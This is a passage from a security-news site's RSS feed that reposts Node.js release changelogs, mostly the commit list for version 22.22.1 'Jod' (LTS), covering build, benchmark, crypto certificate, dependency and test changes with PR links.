<li>[<a href="https://github.com/nodejs/node/commit/65e839687b"><code>65e839687b</code></a>] - <strong>deps</strong>: update corepack to 0.34.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60550" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60550/hovercard">#60550</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2dc99d2771"><code>2dc99d2771</code></a>] - <strong>dns</strong>: fix Windows SRV ECONNREFUSED by adjusting c-ares fallback detection (notvivek12) <a href="https://github.com/nodejs/node/pull/61453" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61453/hovercard">#61453</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c7b84b1d8"><code>2c7b84b1d8</code></a>] - <strong>doc</strong>: fix typo in http.md (Michael Solomon) <a href="https://github.com/nodejs/node/pull/59354" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59354/hovercard">#59354</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a84b42667c"><code>a84b42667c</code></a>] - <strong>doc</strong>: fix grammar in global dispatcher usage (Eng Zer Jun) <a href="https://github.com/nodejs/node/pull/59344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59344/hovercard">#59344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ffd0ada45f"><code>ffd0ada45f</code></a>] - <strong>doc</strong>: fix typo in <code>test/common/README.md</code> (Yoo) <a href="https://github.com/nodejs/node/pull/59180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59180/hovercard">#59180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b4d9d006e7"><code>b4d9d006e7</code></a>] - <strong>doc</strong>: fix broken sentence in <code>URL.parse</code> (Superchupu) <a href="https://github.com/nodejs/node/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59164/hovercard">#59164</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/45e9971d9c"><code>45e9971d9c</code></a>] - <strong>doc</strong>: fix typo in writing-test.md (SeokHun) <a href="https://github.com/nodejs/node/pull/59123" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59123/hovercard">#59123</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e9fd10b5d6"><code>e9fd10b5d6</code></a>] - <strong>doc</strong>: fix <code>fetch</code> subsections in <code>globals.md</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/58933" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58933/hovercard">#58933</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3715dd1c2b"><code>3715dd1c2b</code></a>] - <strong>doc</strong>: fix wrong RFC number in http2 (Deokjin Kim) <a href="https://github.com/nodejs/node/pull/58753" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58753/hovercard">#58753</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/098c017eac"><code>098c017eac</code></a>] - <strong>doc</strong>: punctuation fix for Node-API versioning clarification (Jiacai Liu) <a href="https://github.com/nodejs/node/pull/58599" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58599/hovercard">#58599</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/545bf434e1"><code>545bf434e1</code></a>] - <strong>doc</strong>: fix typo of file <code>http.md</code>, <code>outgoingMessage.setTimeout</code> section (yusheng chen) <a href="https://github.com/nodejs/node/pull/58188" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58188/hovercard">#58188</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b3d6683e7b"><code>b3d6683e7b</code></a>] - <strong>doc</strong>: support toolchain with Visual Studio 2019 &amp; 2022 only (Mike McCready) <a href="https://github.com/nodejs/node/pull/61450" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61450/hovercard">#61450</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8fdde5d110"><code>8fdde5d110</code></a>] - <strong>doc</strong>: fix v20 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31d04599be"><code>31d04599be</code></a>] - <strong>http</strong>: fix keep-alive not timing out after post-request empty line (Shima Ryuhei) <a href="https://github.com/nodejs/node/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58178/hovercard">#58178</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ec7d1eba0"><code>5ec7d1eba0</code></a>] - <strong>http2</strong>: validate initialWindowSize per HTTP/2 spec (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61402" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61402/hovercard">#61402</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c091d5a96"><code>5c091d5a96</code></a>] - <strong>meta</strong>: persist sccache daemon until end of build workflows (René) <a href="https://github.com/nodejs/node/pull/61639" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61639/hovercard">#61639</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/183353aba0"><code>183353aba0</code></a>] - <strong>path,win</strong>: fix bug in resolve and normalize (Hüseyin Açacak) <a href="https://github.com/nodejs/node/pull/55623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/55623/hovercard">#55623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbe9e5091b"><code>dbe9e5091b</code></a>] - <strong>src</strong>: fix flags argument offset in JSUdpWrap (Weixie Cui) <a href="https://github.com/nodejs/node/pull/61948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61948/hovercard">#61948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4106bfc775"><code>4106bfc775</code></a>] - <strong>test</strong>: mark stringbytes-external-max flaky on AIX (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/60995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60995/hovercard">#60995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de51937306"><code>de51937306</code></a>] - <strong>test</strong>: mark stringbytes-external-exceed-max tests as flaky on AIX (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60565/hovercard">#60565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/368b221be3"><code>368b221be3</code></a>] - <strong>test</strong>: fix flaky test-performance-eventloopdelay (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61629/hovercard">#61629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e134912a33"><code>e134912a33</code></a>] - <strong>test</strong>: fix flaky test-worker-message-port-transfer-filehandle test (Alex Yang) <a href="https://github.com/nodejs/node/pull/59158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59158/hovercard">#59158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5630170d3e"><code>5630170d3e</code></a>] - <strong>test</strong>: account for truthy signal in flaky async_hooks tests (Darshan Sen) <a href="https://github.com/nodejs/node/pull/58478" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58478/hovercard">#58478</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e5363bb63"><code>1e5363bb63</code></a>] - <strong>test</strong>: mark <code>test-http2-debug</code> as flaky on LinuxONE (Richard Lau) <a href="https://github.com/nodejs/node/pull/58494" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58494/hovercard">#58494</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/662998787a"><code>662998787a</code></a>] - <strong>test</strong>: set <code>test-fs-cp</code> as flaky (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/56799" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56799/hovercard">#56799</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0807127339"><code>0807127339</code></a>] - <strong>test</strong>: mark <code>test-esm-loader-hooks-inspect-wait</code> flaky (Richard Lau) <a href="https://github.com/nodejs/node/pull/56803" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56803/hovercard">#56803</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6320cd0721"><code>6320cd0721</code></a>] - <strong>test</strong>: skip strace test with shared openssl (Richard Lau) <a href="https://github.com/nodejs/node/pull/61987" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61987/hovercard">#61987</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83b9f8ee02"><code>83b9f8ee02</code></a>] - <strong>tools</strong>: make nodedownload module compatible with Python 3.14 (Lumír 'Frenzy' Balhar) <a href="https://github.com/nodejs/node/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58752/hovercard">#58752</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cf9b5786e"><code>6cf9b5786e</code></a>] - <strong>tools</strong>: enforce removal of <code>lts-watch-*</code> labels on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61672/hovercard">#61672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd4161499c"><code>cd4161499c</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in meta GitHub Actions (Tierney Cyren) <a href="https://github.com/nodejs/node/pull/61663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61663/hovercard">#61663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6dc2a99a0d"><code>6dc2a99a0d</code></a>] - <strong>tools</strong>: validate release commit diff as part of <code>lint-release-proposal</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61440" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61440/hovercard">#61440</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5014f22332"><code>5014f22332</code></a>] - <strong>tools</strong>: add read permission to workflows that read contents (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/58255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58255/hovercard">#58255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c3ad2a5a3"><code>6c3ad2a5a3</code></a>] - <strong>tools</strong>: switch to ARM runners on GHA jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61903" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61903/hovercard">#61903</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1abada9c34"><code>1abada9c34</code></a>] - <strong>tools</strong>: avoid building twice in coverage jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61899/hovercard">#61899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f260e40127"><code>f260e40127</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61759/hovercard">#61759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64beca5e01"><code>64beca5e01</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61734/hovercard">#61734</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-05, Version 22.22.1 'Jod' (LTS)]]></title>
<description><![CDATA[Notable Changes

[7b93a65f27] - build: test on Python 3.14 (Christian Clauss) #59983
[6063d888fe] - cli: mark --heapsnapshot-near-heap-limit as stable (Joyee Cheung) #60956
[d950b151a2] - crypto: update root certificates to NSS 3.119 (Node.js GitHub Bot) #61419
[4f42f8c428] - crypto: update root ...]]></description>
<link>https://tsecurity.de/de/3487708/downloads/2026-03-05-version-22221-jod-lts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487708/downloads/2026-03-05-version-22221-jod-lts/</guid>
<pubDate>Tue, 05 May 2026 02:03:08 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/7b93a65f27"><code>7b93a65f27</code></a>] - <strong>build</strong>: test on Python 3.14 (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59983/hovercard">#59983</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6063d888fe"><code>6063d888fe</code></a>] - <strong>cli</strong>: mark <code>--heapsnapshot-near-heap-limit</code> as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60956/hovercard">#60956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d950b151a2"><code>d950b151a2</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.119 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61419/hovercard">#61419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f42f8c428"><code>4f42f8c428</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.117 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60741" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60741/hovercard">#60741</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6ebf2cd53"><code>b6ebf2cd53</code></a>] - <strong>doc</strong>: add avivkeller to collaborators (Aviv Keller) <a href="https://github.com/nodejs/node/pull/61115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61115/hovercard">#61115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/35854f424d"><code>35854f424d</code></a>] - <strong>doc</strong>: add gurgunday to collaborators (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/61094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61094/hovercard">#61094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c6a076e5d"><code>5c6a076e5d</code></a>] - <strong>meta</strong>: add Renegade334 to collaborators (Renegade334) <a href="https://github.com/nodejs/node/pull/60714" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60714/hovercard">#60714</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/5f773488c2"><code>5f773488c2</code></a>] - <strong>assert</strong>: use a set instead of an array for faster lookup (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61076/hovercard">#61076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/feecbb0eab"><code>feecbb0eab</code></a>] - <strong>assert,util</strong>: fix deep comparison for sets and maps with mixed types (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61388" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61388/hovercard">#61388</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/096095b127"><code>096095b127</code></a>] - <strong>benchmark</strong>: add SQLite benchmarks (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61401" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61401/hovercard">#61401</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5fe481415"><code>b5fe481415</code></a>] - <strong>benchmark</strong>: use boolean options in benchmark tests (SeokhunEom) <a href="https://github.com/nodejs/node/pull/60129" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60129/hovercard">#60129</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa9faacacb"><code>fa9faacacb</code></a>] - <strong>benchmark</strong>: allow boolean option values (SeokhunEom) <a href="https://github.com/nodejs/node/pull/60129" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60129/hovercard">#60129</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba8714ac21"><code>ba8714ac21</code></a>] - <strong>benchmark</strong>: fix incorrect base64 input in byteLength benchmark (semimikoh) <a href="https://github.com/nodejs/node/pull/60841" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60841/hovercard">#60841</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53596de876"><code>53596de876</code></a>] - <strong>benchmark</strong>: use typescript for import cjs benchmark (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60663/hovercard">#60663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8930e9d7c"><code>e8930e9d7c</code></a>] - <strong>benchmark</strong>: focus on import.meta intialization in import-meta benchmark (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60603" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60603/hovercard">#60603</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1155e412b1"><code>1155e412b1</code></a>] - <strong>benchmark</strong>: add per-suite setup option (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60574/hovercard">#60574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e01903d304"><code>e01903d304</code></a>] - <strong>benchmark</strong>: improve cpu.sh for safety and usability (Nam Yooseong) <a href="https://github.com/nodejs/node/pull/60162" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60162/hovercard">#60162</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/623a405747"><code>623a405747</code></a>] - <strong>benchmark</strong>: add benchmark for leaf source text modules (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60205/hovercard">#60205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f5e7b9f7f"><code>7f5e7b9f7f</code></a>] - <strong>benchmark</strong>: add microbench on isInsideNodeModules (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60991" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60991/hovercard">#60991</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db132b85a8"><code>db132b85a8</code></a>] - <strong>bootstrap</strong>: initialize http proxy after user module loader setup (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/58938" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58938/hovercard">#58938</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66aab9f987"><code>66aab9f987</code></a>] - <strong>buffer</strong>: let Buffer.of use heap (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/60503" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60503/hovercard">#60503</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c3cf00c671"><code>c3cf00c671</code></a>] - <strong>buffer</strong>: speed up concat via TypedArray#set (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60399" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60399/hovercard">#60399</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6fad231e9"><code>f6fad231e9</code></a>] - <strong>build</strong>: skip sscache action on non-main branches (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61790" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61790/hovercard">#61790</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2145f91f6b"><code>2145f91f6b</code></a>] - <strong>build</strong>: update android-patches/trap-handler.h.patch (Mo Luo) <a href="https://github.com/nodejs/node/pull/60369" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60369/hovercard">#60369</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b49759dd8"><code>5b49759dd8</code></a>] - <strong>build</strong>: update devcontainer.json to use paired nix env (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61414/hovercard">#61414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24724cde40"><code>24724cde40</code></a>] - <strong>build</strong>: fix misplaced comma in ldflags (hqzing) <a href="https://github.com/nodejs/node/pull/61294" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61294/hovercard">#61294</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c57a19934e"><code>c57a19934e</code></a>] - <strong>build</strong>: fix crate vendor file checksums on windows (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61329" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61329/hovercard">#61329</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8659d7cd07"><code>8659d7cd07</code></a>] - <strong>build</strong>: fix inconsistent quoting in <code>Makefile</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60511" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60511/hovercard">#60511</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44f339b315"><code>44f339b315</code></a>] - <strong>build</strong>: remove temporal updater (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61151/hovercard">#61151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d60a6cebd5"><code>d60a6cebd5</code></a>] - <strong>build</strong>: update test-wpt-report to use NODE instead of OUT_NODE (Filip Skokan) <a href="https://github.com/nodejs/node/pull/61024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61024/hovercard">#61024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34ccf187f5"><code>34ccf187f5</code></a>] - <strong>build</strong>: skip build-ci on actions with a separate test step (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61073/hovercard">#61073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b19e101a2"><code>7b19e101a2</code></a>] - <strong>build</strong>: run embedtest with node_g when BUILDTYPE=Debug (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60850" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60850/hovercard">#60850</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9408c4459f"><code>9408c4459f</code></a>] - <strong>build</strong>: upgrade Python linter ruff, add rules ASYNC,PERF (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59984" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59984/hovercard">#59984</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2166ec7f0f"><code>2166ec7f0f</code></a>] - <strong>build</strong>: use call command when calling python configure (Jacob Nichols) <a href="https://github.com/nodejs/node/pull/60098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60098/hovercard">#60098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73ef70145d"><code>73ef70145d</code></a>] - <strong>build</strong>: remove V8_COMPRESS_POINTERS_IN_ISOLATE_CAGE defs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60296" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60296/hovercard">#60296</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b93a65f27"><code>7b93a65f27</code></a>] - <strong>build</strong>: test on Python 3.14 (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59983/hovercard">#59983</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/508ce6ec6c"><code>508ce6ec6c</code></a>] - <strong>build, src</strong>: fix include paths for vtune files (Rahul) <a href="https://github.com/nodejs/node/pull/59999" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59999/hovercard">#59999</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c89d3cd570"><code>c89d3cd570</code></a>] - <strong>build,tools</strong>: fix addon build deadlock on errors (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/61321" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61321/hovercard">#61321</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40904a0591"><code>40904a0591</code></a>] - <strong>build,win</strong>: update WinGet configurations to Python 3.14 (Mike McCready) <a href="https://github.com/nodejs/node/pull/61431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61431/hovercard">#61431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d6742e7db"><code>6d6742e7db</code></a>] - <strong>child_process</strong>: treat ipc length header as unsigned uint32 (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61344/hovercard">#61344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6063d888fe"><code>6063d888fe</code></a>] - <strong>cli</strong>: mark --heapsnapshot-near-heap-limit as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60956/hovercard">#60956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d324a0f88"><code>3d324a0f88</code></a>] - <strong>cluster</strong>: fix port reuse between cluster (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/60141" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60141/hovercard">#60141</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40a58709b4"><code>40a58709b4</code></a>] - <strong>console</strong>: optimize single-string logging (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60422" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60422/hovercard">#60422</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d950b151a2"><code>d950b151a2</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.119 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61419/hovercard">#61419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f42f8c428"><code>4f42f8c428</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.117 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60741" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60741/hovercard">#60741</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a87499ae25"><code>a87499ae25</code></a>] - <strong>crypto</strong>: ensure documented RSA-PSS saltLength default is used (Filip Skokan) <a href="https://github.com/nodejs/node/pull/60662" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60662/hovercard">#60662</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c65cc11e2"><code>8c65cc11e2</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.116 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/59956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59956/hovercard">#59956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91dc00a2c1"><code>91dc00a2c1</code></a>] - <strong>debugger</strong>: fix event listener leak in the run command (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60464" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60464/hovercard">#60464</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0781bd3764"><code>0781bd3764</code></a>] - <strong>deps</strong>: V8: backport 6a0a25abaed3 (Vivian Wang) <a href="https://github.com/nodejs/node/pull/61688" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61688/hovercard">#61688</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cf1f9c3e9"><code>0cf1f9c3e9</code></a>] - <strong>deps</strong>: update googletest to 85087857ad10bd407cd6ed2f52f7ea9752db621f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61417" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61417/hovercard">#61417</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/521b4b1f07"><code>521b4b1f07</code></a>] - <strong>deps</strong>: update sqlite to 3.51.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61339" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61339/hovercard">#61339</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58b9d219a3"><code>58b9d219a3</code></a>] - <strong>deps</strong>: update icu to 78.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60523/hovercard">#60523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cbc1e4306d"><code>cbc1e4306d</code></a>] - <strong>deps</strong>: update zlib to 1.3.1-e00f703 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61135" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61135/hovercard">#61135</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db59c35ed8"><code>db59c35ed8</code></a>] - <strong>deps</strong>: update cjs-module-lexer to 2.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61271/hovercard">#61271</a></li>
